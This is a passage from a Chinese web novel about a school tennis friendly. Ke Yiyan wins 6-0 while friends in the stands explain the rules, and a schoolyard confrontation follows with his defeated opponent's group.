此起彼伏的呼喊中，还有人搞事情站起来，冲赛场狂吼一声：“衍神加油啊！把附中踩在脚下，能做到吧？！！！” 话音落下，众人疯狂拍手大笑。 周跃丞目视赛场，歪头哼笑了一声，懒洋洋拍手鼓掌，心想可以啊柯译衍，看着没退步，还是原来那个水平。 俞杨一边鼓掌，一边笑着称赞：“外角ACE，漂亮！” 周静瑶手举相机，近距离对准柯译衍，敏捷抓拍到好几张少年发球时的照片，她低头仔细翻看一遍后，唇角不禁翘得老高，忍不住自夸摄影实力真棒！ 三步并两步，周静瑶一溜烟跑到姜织宁身边，献宝似的把相机递给她看，一脸得意地说：“快看你同桌，简直帅炸！” 姜织宁接过来，垂眸望去。 湛蓝色的网球场在明媚阳光照耀下格外漂亮，球场上的白衣少年神情冷静，目光专注，挥拍凌空跃起，衣角随风肆意翻扬。 身体瞬间的迅猛爆发力，充满力量感的蓬勃英姿，展现得淋漓尽致，少年仿佛一头锋芒锐气的年轻雄狮，极致的速度与力量几乎要冲出照片。 英姿如此耀眼，光芒四射，赏心悦目极了。 姜织宁把相机还给周静瑶，发自内心地称赞：“超级好看，绝对是年度最佳运动大片。” “是吧，我拍的！”周静瑶神采飞扬说，“这要是发到网上，绝对能收割一大批迷妹！” “嗯，周导真厉害。”姜织宁抿唇笑起来。 观众的欢呼声过于吵闹，裁判不得不开口提醒：“请安静，谢谢。” 第二分发球。 柯译衍仰头抛球，屈膝蓄力，下一秒，猛地挥出一记重力上旋发球。 眨眼间，网球旋转着越过球网，迅速落向中线附近，球落地的那一瞬间，猛然弹跳起惊人的高度。 周胜扬弓身站在外角位置，因为预判出错，身体反应迟钝了半拍，所以即使他手臂伸直，拼命跑动去追球，最后还是落了个空，手中球拍压根没碰到球丝毫。 裁判：“30-0。” 俞杨笑着鼓掌，夸道：“内角ACE，不错不错！” 观众席随之响起喝彩声。 “妈呀，又是一记ACE！发球太凶猛了！” “啧啧啧，太绝了！又是擦着线，这落点也打的太精准了吧！” “哈哈哈哈，柯译衍上来就是两个ACE球，这下马威，对面不得吓死？” “可不是嘛，我看对面男生擦了好几次汗，应该是紧张了，唉，比赛才刚开始哎。” “保发了保发了，再拿两分，衍神这局就赢咯！” “衍神加油啊！！！” 第三分发球。 俞杨这边刚兴致勃勃说完“估计又是个ACE！”，下一秒，一语成谶，周胜扬又没接到球。 不同的是，前两分周胜扬虽然反应慢，但起码尽力去接了。 而第三分，周胜扬就这么站在原地，眼睁睁看着网球从对面飞过来，双脚纹丝不动，手臂敷衍抬了抬，任由网球落地弹跳到一边，一副主动放弃的消极态度。 柯译衍又得一分。 裁判：“40-0。” 观众席掌声不断。 姜织宁鼓着掌，疑惑问：“周胜扬怎么不去接啊？” “估计摆烂了吧，他知道自己破不了衍神的发球局。”俞杨分析说。 “啊？比赛才刚开始，他就摆烂了？” 姜织宁惊讶挑眉。 她不懂技术方面，所以看到周胜扬摆烂站在原地，挪都不愿挪一下的表现后，忍不住犀利吐槽道：“所以他就像个千年老树桩，扎根原地，做梦等着球飞到手边？” 俞杨愣了愣，脑海里下意识飘过一句话—— 不愧是宁王。 妈呀，这话说得太扎心了。 他右手猛拍大腿，大笑出声：“哈哈哈哈哈哈哈，对对对，千年老树桩做梦，骂得好！骂得好！” 眼泪都要笑出来了，俞杨笑到后面，不得不掐着人中，反复深呼吸自救。 直到气息勉强平稳，他才揉着发酸的唇角，开口说：“唉，其实也不能完全怪周狗，咱们网球圈里有句经典老话——发球是最大的武器。球员发球技术厉害，就能直接得分，甚至能直接拿下发球局。” “很多职业网球运动员的发球技术都很威猛，力量、速度就和重炮一样，比赛中经常狂轰ACE雨，对手不是不想接，而是根本接不到，即使人提前移动了，也很难接到球，所以有时候，球员确实会战术性放弃。” 姜织宁若有所思点了点头。 他接着说：“有些职业球员的发球时速很恐怖，能超过200km/小时，我们坐在看台上可能感觉不到厉害，但赛场上的球童就深有感触了。” “我以前做球童的时候，最怕重炮型选手发球，现场接球时真的会心脏狂跳，那个网球啊，就像石头从空中迎面砸过来一样，特别恐怖！” “你还做过球童？”姜织宁诧异看他一眼，好奇问，“球童一般需要做什么？” 俞杨：“小时候做过两次，主要看工作怎么划分，一般就是捡球传球，给球员递毛巾、撑伞之类的服务。当然除了球员，也会服务于裁判，小时候觉得好玩嘛，算是一种体验吧。” 姜织宁啊了声：“原来是这样。” 他话锋一转，夸道：“柯译衍很会发ACE球，其实像刚才那种上旋球，周狗就算去接了，大概率也接不到，我估计啊，衍神后面会用上旋球对付他。” “怎么说？”姜织宁虚心请教。 俞杨笑道：“上旋球嘛，特点就是落地后弹跳很高，弹跳速度很快，周狗呢，有个很明显的劣势，他人没有衍神高。” “所以弹跳高的球，周胜扬就会因为身高阻碍不好接？”姜织宁大致听懂了，不确定地说。 俞杨竖起大拇指：“对对对，宁王聪明！” 两人这番话聊完，坐旁边的周跃丞突然插嘴说：“解释得很好，但是你能不能换个称呼，别老周狗周狗的。” 俞杨笑眯眯道：“咋啦我的丞哥，周狗碍着你啦？” “是啊。”周跃丞斜睨他一眼，慢吞吞说，“总感觉你在骂我。” 俞杨戏精“嘤！”了声，一本正经说：“骂你不是应该说丞狗吗，怎么会是周狗呢。” 丞狗？ “你想死就直说。” 周跃丞含毒眼刀扎过来，冷冰冰撂话。 男生话音刚落，姜织宁听见场上裁判呼报：“Game柯，柯leads，1-0。” 第一局比赛，柯译衍轻松利落拿下。 一瞬间，看台爆发出热烈的欢呼声。 “四个ACE球，柯译衍是真牛啊！” “果然，发球是最大的武器，四个ACE球直接拿下发球局。” “哈哈哈，不愧是衍神，轻松拿下！” “开局保发，好势头！” 与此同时，周围响起女生们的窃窃私语。 “我的天！柯译衍打球也太帅了吧！！！” “确实帅，我发现网球比篮球好看哎，现在好多帅哥打网球。” “学习成绩好，打球又帅，还是校草，我和你们说，柯译衍刚才进球场的时候，都给我看呆了！他怎么长得这么帅啊，呜呜呜，我都不敢和他对视！” “而且他身材很好，你们没发现吗？” “噫，你这个色女！怎么看出来的，是好姐妹就分享下！” “不仅大长腿，人还有腹肌呢，就他发球的时候啊，衣角被风掀起来了，我就不小心看到了嘛。” “对对对，我也发现了！柯译衍身材确实很好哎，那身材就和体育生一样！” “哎很正常啊，毕竟他身高188，比例也好，肌肉匀称，线条漂亮，看起来不油腻不浮夸，纸巾快给我擦擦，要流口水了，好羡慕他未来女朋友！” “所以说，他现在有没有女朋友啊？” “应该没有吧，不过听说校内校外好多女生追他，干什么，你喜欢他啊？” “拜托，这种顶级优质大帅哥谁不喜欢？完全就是天上掉下来的稀缺资源嘛，如果他没有女朋友，我待会儿就去要号码。” “估计很难，听说他不谈恋爱。” “这样啊，柯译衍长着一副冷酷无情渣男脸，我还以为他会很花心哎，像对面那个周胜扬，女朋友就换得超级勤快！” “那真是对照组了，还真没听说过柯译衍的绯闻，他在学校里很低调的。我觉得啊，他应该不是花心类型，毕竟有些帅哥确实不会乱搞，很专一很长情，还会恋爱脑呢！” “真假的！衍神会是恋爱脑吗？” “恋不恋爱脑不知道，但我觉得他应该挺专一。” “哦哟，看似渣男其实纯情，绝了绝了！” “什么意思，所以帅哥一心学习无心恋爱？妈呀，柯译衍这么自律啊？？？” “哎呀没事，我可以攻略他嘛，我就喜欢他这种冷酷帅哥！” “牛，你加油！” “是柯译衍赢了吗？”姜织宁问俞杨。 “哎哟，光顾着聊天，都错过比赛了！”俞杨扭头，给姜织宁讲解道，“对对对，一比零，衍神直得四分，第一局赢了。比赛规则是一盘定胜负，选手赢下六局并且净胜两局，就算拿下比赛，可以晋级下一轮。” “哦。”姜织宁点了点头。 耳边不断有人大喊柯译衍加油，俞杨见势，气沉丹田，突然起身，也跟着高吼一声：“衍神加油！！！” 柯译衍正坐椅子上休息，低头拧开矿泉水，刚准备送到唇边，就被俞杨的高亢吼声吓了一跳。 手腕微微一抖，他喝了口水，随后皱眉看向观众席。 俞杨大高个的身影很显眼，柯译衍视线扫过看台，很快发现了他。 他目无情绪瞥了眼俞杨，目光下意识朝右边挪去，挪向坐在俞杨旁边的姜织宁，发现她也在看他，唇角顿时情不自禁微扬起来。 周胜扬注意到这一幕，脸色黑如锅底。 除了跟来的几个同伴，在场人几乎都在为柯译衍加油，人气差距无比明显，他心中不免有些在意，但又挺不屑。 呵，不就是主场优势么，要是比赛放到附中，他一定比柯译衍更受欢迎！ 论实力和天赋，彼此差距不小，周胜扬知道自己比不上柯译衍，小时候就这样，他从没赢过柯译衍。 但是，第一局他竟然一分也没拿到，这种惨状让他感到很憋屈！ 明明才一局而已，他脑子里却已经有了会输的预感。 心态不稳是比赛大忌，周胜扬垂眸烦躁拨弄着网球拍，努力调整心态，心说输没什么，至少要输得不那么难看。 第52章 明明是衍神厉害～ “Time！” 随着裁判一声令下, 短暂的局间休息结束，球员交换场地，第二局比赛开始。 裁判：“周胜扬to serve。” 第二局, 周胜扬的发球局。 抛球，屈膝弓身, 球拍用力挥向网球，伴随清脆的“砰！”一声, 黄色小球朝前方飞去，中途却没越过球网, 最终砸落在网上。 裁判：“Fault。” 周胜扬随即从短裤口袋中拿出新球, 朝地面拍打着, 准备二发。 姜织宁咦了声，不解问：“不是15比0吗？” 俞杨耐心解释：“周狗发球失误, 球没过网，所以裁判喊Fault。比赛中选手总共有两次发球机会, 一发失误了，还有二发机会, 如果第二次还是失误，那这分就丢了。” 也不知道是紧张还是什么原因, 周胜扬的二发依然没过球网。 裁判：“Double Fault。” 裁判：“15-0。” 俞杨主动对姜织宁说：“这种就是双误。” 两次发球都没过网, 周胜扬也很意外, 他不安抬起手, 左右挪了挪头上的棒球帽，神情懊恼地原地转了两圈。 发球有时间限制, 球员一旦超时, 便会受到裁判警告甚至罚分，周胜扬懊恼反思过度, 一时忘记在规则时间内发球，直到裁判开口警告，他才匆忙反应过来。 手忙脚乱，心思不稳的下场就是送分。 之后周胜扬选择加大力度，改变球速，球是发过去了，结果回击的时候因为用力过猛，网球直接高弧度飞向双打边线之外。 球线实在偏移的太离谱，柯译衍预判到肯定会出界，因此脚下只挪动了两小步，没去追。 他直起身，看了眼网球的界外落点，唇角微弯笑了笑，慢悠悠玩转着球拍，松弛走向底线另一边。 裁判：“Out。” 裁判：“30-0。” 一瞬间，现场嘘声四起。 “嘿，怎么回事啊，对面那人来玩呢？” “啊？不是，一下就结束了？？？这也太拉了吧，倒是对打起来啊！” “又是双误，又是出界，没看头。” “这是干啥，周胜扬一上来就要被破发吗？？？” “我感觉是的，那可是柯译衍哎，16岁就手握两个大满贯青少年冠军，实力不是盖的！” “唉，那男生签运太差了，碰上柯译衍，确实没办法。” “不仅柯译衍，他要是碰上周跃丞、占子杰那几个大佬，我看也是白瞎。” “话说回来，周跃丞他们跑来友谊赛干嘛啊？真想不通。” “那你别说，我觉得柯译衍参加友谊赛更想不通，他不是不打球了吗” “会不会是复出的讯号？” “真的假的，你别吓我！” “不过我还是希望衍神能继续打球，我之前追过他温网比赛现场，那球技和意志力是真的牛！” 俞杨知道周胜扬很菜，但没想到会这么菜，原本想要嘲笑的心思不禁转为同情起来。 姜织宁问：“这个球是不是出界了？” 俞杨：“对，你看衍神现在站的底线位置，他旁边不是有两条长横线吗，最外面那条白色横线是双打边线，里面那条是单打边线，超过单打边线就算出界。周狗刚才那个球的落点居然能飞到双打边线之外，好特么离谱。” 姜织宁点点头，表示学到了。 周胜扬发球局第三分。 这一回，双方倒是在底线来回跑动，暴力互抽了几个回合，姜织宁脑袋跟随网球左右移动着，看得津津有味。 忽然间，柯译衍捕捉住机会，一边盯着球的方向快速朝网前奔跑，一边手腕灵活反转，在球落地之前，出其不意，反手截击放小球！ 只见网球低空越过球网，并没有朝远处飞去，反而听话地下落在刚刚过网的位置。 姜织宁微微睁大眼，距离这么远，对方肯定接不到，她下意识看向周胜扬。 正如她所想，网球场面积不小，从底线位置奔跑到网前需要一定时间，而柯译衍放小球放得神不知鬼不觉，出乎所有人意料。 等周胜扬后知后觉反应过来，拼命举拍超球冲过去时，网球早已二次落地，滚向线外。 周胜扬为了追球，一路极速狂奔，鞋底在球场上摩擦出一道强烈刺耳的滋声，最后差点在网前趔趄摔倒。 他气喘吁吁，左手撑住膝盖，右手握拍支着地面，弯腰弓背稳住身体，然后愤怒抬眼，怒瞪柯译衍背影。 裁判：“40-0。” 安静三秒，全场响起雷鸣般的掌声和口哨声。 “哇，漂亮漂亮，这小球放得太精彩了！” “卧槽，反手截击再接放小球，这战术绝了啊！都给那周胜扬搞懵了！” “我还以为柯译衍上网是要打反手斜线球，没想到他居然放了个小球，欺诈师啊他，太厉害了！” “这小球谁能想到啊，突然袭击，出其不意。” “我现在放小球还不太行，控制不好距离，你看衍神那小球的高度就贼精准，慕了慕了！” “衍神好样的，加油！！！江中加油！！！” “123，江中！！！” “Gold ！Gold ！Wu！！！” “好球好球！”俞杨鼓着掌，笑眯眯看向姜织宁，“宁王，衍神刚才那球是不是特别有观赏性？” 姜织宁笑着说：“嗯，确实好看。网球像是受到了控制，落地后弹跳的特别低，而且不往前跳，反而往回跳。” 俞杨双手环至胸前，老神在在地说：“这就是战术之一，放小球！衍神老会了，各种位置，还很会做假动作欺骗对手，他以前老用这招制我。哎，40-0，破发点来咯！” 姜织宁问：“破发点是什么意思啊？” 俞杨耐心说：“第二局是周狗的发球局，衍神只要再拿下一分，就能破掉周狗的发球局，拿下这局，所以最后这一分就叫做破发点。” “对于球员来说，破发点至关重要，尤其是在职业赛场上，特别影响人心态，被破发的球员，心理崩溃就在那一瞬间。” “为什么？” 俞杨：“刚才不是说发球是最大的武器嘛，所以通常来说，拥有发球权的人会比对手更具备优势，尤其是发球技术好的球员。” “比如刚才，衍神轰出来4个ACE球，直得4分，一局轻松拿下。而当自己的发球局被破，丢掉优势的时候，就很搞人心态，甚至会直接影响到比赛输赢走向。” 姜织宁听懂了，总结说：“发球方占据主动权，先发制人。” “对对对，是这个意思。”俞杨长叹一口气，“周狗要有心理压力了，目前一分也没拿到，啧啧啧，真是——好！惨！呐！” 大概是俞杨的嘴开过光，很快，柯译衍成功拿下破发点，第二局比赛结束。 裁判：“Game柯，柯leads，2-0。” 局间休息。 周胜扬脸色阴沉坐到椅子上，球拍被他重重扔到旁边。 他随手拿起饮料喝了几口，接着从球包里拿出毛巾，一边擦汗，一边冷冷斜睨柯译衍。 两局八分，全被柯译衍拿走，他一分也没拿到！ 最重要的是，他的发球局就这么被柯译衍轻松破掉，简直是耻辱！ 下一局又是柯译衍的发球局，他毫无胜算。 2-0，再这么下去，柯译衍就要赢了！ 一想到这，周胜扬脸上表情变得更加阴沉，心情无比焦躁，气得把毛巾用力摔到球包上泄愤。 该死的网球比赛！！！ 该死的签运！！！ 鲜明的对比，柯译衍这两局打得相当轻松，身体都没怎么出汗，心情也不错。 喝水时，敏锐察觉到旁边传来不友善的怒视，他垂眸拧上瓶盖，弯腰把运动饮料放到地上，顺势侧目瞥了眼周胜扬，随后平静收回视线。 全程目无情绪，毫无关心，就像是看待陌生人一般。 事实上，他确实对周胜扬没什么印象，只模糊记得小时候，他曾经和周胜扬在同一个网球俱乐部里训练过，仅此而已。 俱乐部里有很多球员，既有长期学员，也有短期学员，大家训练时间都不一样，每天来来往往的，人员变动很大，他不记得周胜扬很正常。 一个心烦气躁，一个云淡风轻，两位球员截然不同的比赛状态，不禁让观众们乐呵吃起瓜来。 “哈哈哈，衍神看上去很轻松嘛，他是不是在看风景啊？” “哈哈哈哈，笑死我了，一个在悠闲看风景，另一个在做心理斗争。” “确实能轻松，虽然才2-0，但是下一轮又是柯译衍的发球局，他绝对能保发，这样就3-0了。” “照这种情况比下去，估计半小时就能结束比赛。” “周胜扬被破发，这会儿心态肯定有点崩，我看他又是摔球拍，又是摔毛巾。” “唉，是我也得崩啊！毕竟不是三盘两胜，一盘六局很快的，一下子就比完了。” “确实没办法，两边实力差距太大了，柯译衍这气势，几乎是横扫对面！” “那也不能这么说，像有些职业巡回赛，也有排名低的选手击败种子选手。” “确实有逆袭，但我觉得不太可能发生在周胜扬身上，除非他稳住心态，每球必争。” “别想了，不可能逆袭的，周胜扬没有大心脏，他那心眼比针尖还小。” “我算是发现了，人果然不能比较，以前觉得周胜扬还挺帅，今天突然发现，他在柯译衍面前就是个普通男生” “对对对！柯译衍真的好帅啊啊啊啊！！！” 第三局，柯译衍的发球局。 准备发球的时候，临时出了个小意外，柯译衍刚把球抛到空中，看台上突然有人大吼一声加油。 状态受影响，柯译衍左手接住下坠的网球，直起身，面无表情瞥了两眼看台。 裁判立马会意提醒：“观众请安静，谢谢。” 俞杨不爽扭头，很快认出捣乱的人是周胜扬同伴。 他顿时沉下脸，不客气破口痛骂：“妈的闭嘴！有没有素质啊你，球员打球的时候不知道保持安静吗？再他妈搞阴招，我弄死你信不信！” 那人不敢吭声了。 接下来的比赛走向延续了柯译衍开局赢球的好势头，少年一路连赢。 即使不懂球技的姜织宁都能看出来，两人的实力差距实在太明显了，周胜扬尽力了，实力不足确实没办法，也确实输的很难看。 显而易见，周胜扬的击球力量明显比不上柯译衍。 在柯译衍的暴力鞭打下，球风凌厉，球速很快，旋转多变，落点又深又重，周胜扬毫无还手之力，被逼得节节败退，他必须退到底线很远之外，才能勉强接到球。 由于力道不足，加上脚步经常很匆忙，导致周胜扬回击过去的球总是很浅，球速也很慢，对于柯译衍来说，这样的回球简直就是送分。 此外，柯译衍战术多变，时而进攻，时而防守。 他也特别敢变线，斜线球和边线直线球灵活交替着打，球线变幻莫测，把周胜扬打得完全摸不着头脑，连连自我懊恼摇头。 后面几局比赛，周胜扬被柯译衍带走节奏，直接化身成眼睛被蒙上的驴，永远追不到眼前的胡萝卜。 比赛进程很快。 裁判：“Game柯，柯leads，3-0。” 裁判：“Game柯，柯leads，4-0。” 裁判：“Game柯，柯leads，5-0。” 裁判：“40-15。” “来了来了！最后一分，赛点来了！！！” 俞杨挺直上半身，紧紧盯着赛场，双手情不自禁握成拳。 随着周胜扬的一记正手挑高球，小球迅速越过柯译衍头顶，在空中划过高高的弧度，柯译衍转身朝球追去，没追几步，便放缓了奔跑速度。 跑动中，柯译衍稍稍抬起左手，握拳轻晃了晃，意料之中的比赛结果，但也自我庆祝一下。 因为球落向了界外。 这场比赛，他赢了。 裁判：“Out。” 裁判：“Game Set Match，柯，6-0。” 比赛结束。 裁判话音刚落，俞杨第一个激动站起来，双手挥舞，扬声大吼：“啊啊啊啊啊，赢了！衍神赢了！！！牛逼！！！” 观众席响起潮水般的掌声，江中学生集体起身，拼命鼓掌呐喊。 “大江中牛逼！！！大江中最棒！！！” “附中千年老二！” “江中横扫附中！！！” “衍神牛逼！！！” “柯译衍太棒啦！” 俞杨扭头看向姜织宁，兴高采烈地说：“哈哈哈哈哈哈，六比零！衍神送蛋淘汰周狗，半个小时轻松横扫，连赢六局！舒服，看得我太舒服了！！！” 周围的人发出震耳欲聋的庆祝呼喊，姜织宁倾身注视着赛场上的柯译衍，眉眼弯弯用力鼓掌。 不能抱住姜织宁庆祝，俞杨便转身激动抱住周跃丞，一边反复说着“衍神赢了！”，一边不忘踢他一脚，笑骂道：“你怎么还不去准备比赛啊，广播都报你名字了！！！” “那你倒是松手啊！” 周跃丞狂翻白眼。 网球是一项高强度对抗运动，一场比赛下来，体能几乎消耗殆尽，周胜扬弯腰站在原地，脸色苍白，大口喘气，胸口激烈起伏。 尽管输得很惨，此刻心中怨气无比强烈，但比赛礼仪还是要遵守的，周胜扬抬手抹掉下巴上的汗水，冷眼朝网前走去。 和柯译衍握手，再和裁判握手后，周胜扬黑脸背上球包离开。 这场比赛结束，下一轮比赛球员迅速进场准备，期间，看台上的观众走了大半。 姜织宁顺着人流走下看台，半路上，隔壁班女生跑过来传话：“宁王，刘老师找你，说是等会儿核对一下稿件。” 姜织宁：“刘老师在哪？” “帐篷那边。” “好，现在过去。” 路过4号球场门口时，恰好碰见柯译衍背着球包走过来，姜织宁加快脚步，小跑到他身边，笑盈盈道了声：“恭喜。” 柯译衍唇角微挑，侧目悠悠瞥她一眼，笑回了句：“多亏宁王的旗开得胜。” 姜织宁心有灵犀扬了扬眉，双手环至胸前，忽然轻盈快走两步，转身面对他，倒退着走。 她微微歪头，笑容明媚注视着他，然后故意拖拉嗓音，用调侃的口吻说：“明明是衍神厉害啊，我可不敢邀功～” 柯译衍瞬间止步。 柯译衍一直对“衍神”这类浮夸称呼无感，说不上喜欢，他从来不觉得自己和神有什么关系。 这外号，不知道是谁起的头，不知道从什么时候开始。 一开始，只是班里零星几个人这么喊他，没过多久，所有人都这样喊他，改都改不了。 在此之前，姜织宁从来都是喊他全名，今天是第一次这么称呼他。 很俏皮的语气，使得曾经让他一度无感的外号，突然听着耳根泛起了麻意。 “宁王！！！” 周静瑶呼喊着从远方飞奔而来，亲昵扑到姜织宁身上。 周静瑶余光瞄见柯译衍也在，立马对他说了句“哟，是衍神啊，恭喜拿下比赛啊！”，然后挽住姜织宁手臂，拉着她离开。 姜织宁没来得及道别，于是一边往前走，一边背对着柯译衍抬起左手，冲他俏皮挥了挥。 柯译衍独自停留在原地，抿唇望着少女逐渐远去的背影。 耳根隐隐发热。 第53章 Loser 周胜扬离开球场后, 没有着急走。 他到校内超市买了两瓶冰水，仰头一口气喝掉半瓶水，然后脸色阴郁走向超市旁边的小花坛, 卸下背着的球包，用力扔到木椅上。 他坐到椅子上, 整个人心浮气躁得很，特别想摔东西发泄！ 周胜扬的球技属于在业余比赛里还行, 但是绝对走不了职业赛道的水平，所以他只能将网球作为业余爱好。 他已经太久没有进行过高强度训练, 今天这场比赛的时间并不算久, 如果是和普通人对打, 他大概率能赢，这会儿也不至于这么筋疲力尽。 可是, 对手偏偏是柯译衍！ 和柯译衍高强度对抗半个多小时，他显然受不住, 身体相当吃力。 之所以报名校网球联赛，主要是为了在同龄人中, 特别是女生们面前炫耀一把。 周胜扬原本天真乐观的想着，反正不是专业比赛, 面对一帮菜鸡对手, 按照他的水平说不定能拿个冠军。 哪知道, 柯译衍会突然报名！ 还有周跃丞、占子杰、艾彤那些个专业球员, 也莫名其妙跑过来参赛。 都瞎凑什么热闹啊？ 这帮人都是神经病吧！ 周胜扬仰头灌下大口冰水，不爽心想, 柯译衍参赛就算了, 结果自己的签运差到离谱，首轮比赛就碰上柯译衍！ 这人不仅送他一轮游, 还强势到让他抱蛋而归！ 6-0！！！ 简直耻辱！！！ 陪着过来的几位朋友眼看周胜扬面布阴云，小心翼翼开口安慰。 “哎胜扬，你别想太多啊，只是一场学校友谊赛而已。” “是啊，又不是专业比赛，柯译衍那帮人瞎得瑟什么呢！” “哎哟，他们江中的人一直都是这样啊！傲的要死，一个个都以为自己是天才呢，等着吧，早晚栽跟头！” “我说那柯译衍也没什么了不起的，高兴这么早有什么用啊，才首轮而已！周跃丞、占子杰这几个势头正猛的球员不也来了吗，就那个周跃丞，他现在的青少年世界排名是多少来着？” “听说排名升到世界前三了，很牛。” “哦，那不就得了，柯译衍要是后面比赛碰上周跃丞，谁输谁赢还不知道呢！” “但问题是，柯译衍之前的世界排名一直比周跃丞高，他去年还拿了两个大满贯青少年冠军，周跃丞至今为止还没拿到过。” “那是曾经啊！结果去年温网之后，柯译衍不就得意忘形成绩下滑了吗，美网他没参赛，年初的澳网更是爆冷止步第二轮，所以说，国内最有希望冲出去的青少年球员，还得看周跃丞！” “柯译衍为什么突然不打球了？为什么转学？还不是因为实力不行，既然没希望转去职业网坛，肯定就趁早回归学业了呗。” “确实，你说的也有道理。” 冰水浇灭身体里的燥火，周胜扬冷脸听着同伴们安慰的话，心情好转不少。 如果说青少年时期的网球比赛是江河，只是小鱼们之间的实力比拼，泾渭分明，那么职业网坛便是一片暴风深海，球员对抗的都是来自世界各地的凶狠鲨鱼，以及传闻中难以战胜的巨头们。 职业网坛里云集了各种类型的天才球员，赛场残酷无情。 周胜扬拧上瓶盖，舒服眯起眼，冷哼一声，不屑嘲讽道：“柯译衍确实不行，他只能在这种友谊赛里出出风头。” 朋友立马狗腿附和：“就是啊，真以为柯译衍拿下大满贯青少年冠军有什么了不起吗？呵，那青少年转去职业网坛后，泯然众人的多了去！” “这个确实，有些球员在青少年时期星光闪耀，长大以后反而打不出成绩，也是蛮可惜的。” “就是因为实力不行啊，你看年初那会儿，柯译衍作为大热种子选手，居然会在澳网爆冷出局！啧啧啧，他那成绩啊，简直没眼看，得了吧，还吹什么天才少年啊！” “那柯译衍也算有自知之明，还蛮聪明的，知道自己以后打不出成绩，就及时止损，一转来江中，他还能捞个校草当当。” “唉，柯译衍在学校里骗骗小迷妹是可以的，她们又不知道内情，整天只会喊衍神好帅，笑死人了！” “哈哈哈，一群花痴！” 几个男生同时大笑起来。 …… 俞杨陪艾彤过来买水。 付完款，两人打算从花坛那边抄近道回去，结果没走几步路，就听见附中这帮嘴碎在背后嘲讽柯译衍。 俞杨无声挥手示意艾彤止步，站着偷听了一会儿后，两人默契地无语对视一眼。 说实话，就很荒谬，很困惑，不明白这帮嘴碎哪来的底气逼逼赖赖？ 先不论柯译衍放弃网球的原因根本不是他们说的那样，他俞杨的好兄弟，是这帮阴沟小垃圾能随意诋毁的？！ 俞杨偏头冷笑两声，双手叉腰，慢吞吞从阴影里走出来。 “哎哟喂，让我看看是谁这么大口气啊，居然看不起大满贯青少年冠军。” 他看向周胜扬，恍然大悟道：“原来是你啊周胜扬，妈呀，我们家衍神不是刚给你送蛋吗，6-0！你可是0哎！被吊打哎！输得这么惨，不好好反思自己，怎么好意思嘲讽别人啊？？？” “是吧，彤姐？”俞杨扭头对女生说。 艾彤嚼着口香糖，双手悠闲环在胸前，斜视着这群一言不发的男生，不客气地笑了几声。 周胜扬面无表情看向别处，不屑理会俞杨，他家里很有钱，自视高人一等，不愿和自己看不上的人多说一句话。 俞杨也不走，啧啧两声，一边鼓掌，一边满脸佩服地说：“听你们刚才那番话，不懂的人，还以为你们一个个都是网球高手呢，觉得冠军没什么了不起是吧？怎么就这么酸呢？” “他们看不上，可能觉得冠军很好拿吧。”艾彤嘲笑说。 “嚯哟，你们居然看不上费德勒、穆雷也拿过的大满贯青少年冠军？好大的口气啊，真是给我惊呆了！” 俞杨冲周胜扬竖起大拇指，阴阳怪气道：“那这样，咱不说为国争光为校争光，就算为你们自己行吗，你们几个，谁去异国他乡拿个冠军，创造一下历史，给我开开眼呗？” 艾彤笑了笑，扎心补刀：“别做梦了啊，他们没有成绩排名，拿不到签位，肯定去不了的，别说国际赛场了，先在国内打出头吧。” 面对嘲讽，男生们看周胜扬没反应，也不好说什么，集体眼神乱飘，哑口无言。 俞杨沉下脸，鄙视道：“你们哪方面最优秀，哦，你们口嗨最优秀，整天嘲讽这个，看不起那个！啊，以后要是有键盘侠大赛，那你们的战斗力绝对第一名，那村口大妈都吵不过你们，我俞杨先甘拜下风好吧！” 俞杨和机关枪一样，一直在单方面猛烈输出炮火，有个附中男生挂不住面子，不爽嘀咕了句：“靠，说说也不行吗。” “就不行！我兄弟是你们能乱说的？你也配？”俞杨气势汹汹指着那人，不客气骂道，“你说他，我就骂你！哼，都给我管好嘴巴，一群只配呆在阴沟的酸货！！！” 周围人来人往，俞杨闹出的动静不小，时不时有路人朝这边瞥一眼，还有人故意走到附近看笑话。 只配呆在阴沟的酸货？ 周胜扬被骂得坐不住了，猛地站起来，眉眼沉沉盯着俞杨，低气压道：“骂谁呢，嘴巴给我放干净点！” 几名男生随之冷脸起身，早已按耐不住动手的情绪。 “听不懂人话吗，骂的就是你啊，Loser！”俞杨气焰嚣张逼近周胜扬，咬牙切齿放狠话，“嘴巴不要可以给你缝上，牙齿不用可以给你打掉，免费服务，要不要？” 一时间，气氛剑弩拔张，火星四溅，一点即燃。 艾彤是个不怕事的姑娘，但打网球的人最重要的肯定是手，她怕俞杨一时冲动误伤到手，犹豫两秒后，走到他身侧，低声提醒他别冲动。 这个年纪的少年本就血气方刚，心浮气躁，俞杨这会儿正在气头上，哪里能拦得住。 “狗叫什么，校内禁止犬吠。” 就在双方准备动手的瞬间，耳边忽然传来一道清冷女声。 在场所有人扭头望去。 姜织宁捧着一叠比赛资料，脸色平静走过来，身边随同学生会主席，身后跟着面无表情的柯译衍和占子杰。 俞杨揍人的拳头都举起来了，突然听到狗叫这句话，整个人震惊地愣了一愣。 他手臂滑稽地停滞在半空中，待姜织宁走到身前后，迷茫眨了眨眼，小心翼翼询问：“宁王，你是在骂我狗吗？” “没有。”姜织宁淡声回。 俞杨有点不太相信。 他这么怀疑也正常，因为他刚才汪汪好了几声，不是刚才说了好多话。 周胜扬看到姜织宁突然出现，眼中闪过一丝惊讶，他自动收起那股攻击气势，表情不自然地后退两步。 附中男生们面面相觑，心说，啊？那姜织宁就是在骂他们狗咯？？？ 姜织宁冷静瞥了眼周胜扬几人，与此同时，朝他们举起手中的组委会工作证，公事公办地说：“怎么回事？” 柯译衍轻挑了下眉，欲走上前的脚步顺势停住，把场子让给姜织宁。 行，不能打扰宁王办事。 俞杨放下手臂，指着周胜扬，大声告状说：“他们想打人！” 哈？ 居然倒打一耙！ 附中男生不干了，瞪眼嚷嚷起来：“谁打人！明明是你想打人啊，拳头都举起来了，你当大家眼瞎啊！” 俞杨翻了个巨大的白眼，气愤反驳：“那还不是因为你们想抬腿踢人！我不自卫等着挨打吗？” 他扭头对姜织宁控诉说：“他们附中这帮孙” 艾彤用力咳了声。 俞杨顿了下，会意换词说：“附中这帮人毫无素质，先挑事！他们输球气不过，就公然辱骂比赛对手，被我路过听见，我当然要和他们理论了！” “公然辱骂比赛对手。”姜织宁皱眉问，“是骂柯译衍么？” 俞杨点头：“没错，骂得可难听了，酸度严重超标。” 姜织宁冷眼看向闹事方，目光锐利。 周胜扬立马心虚避开对视，嘟囔说：“我可没有啊。” 下一秒，艾彤淡定开口：“我听见了，我能作证。” 周胜扬：“” 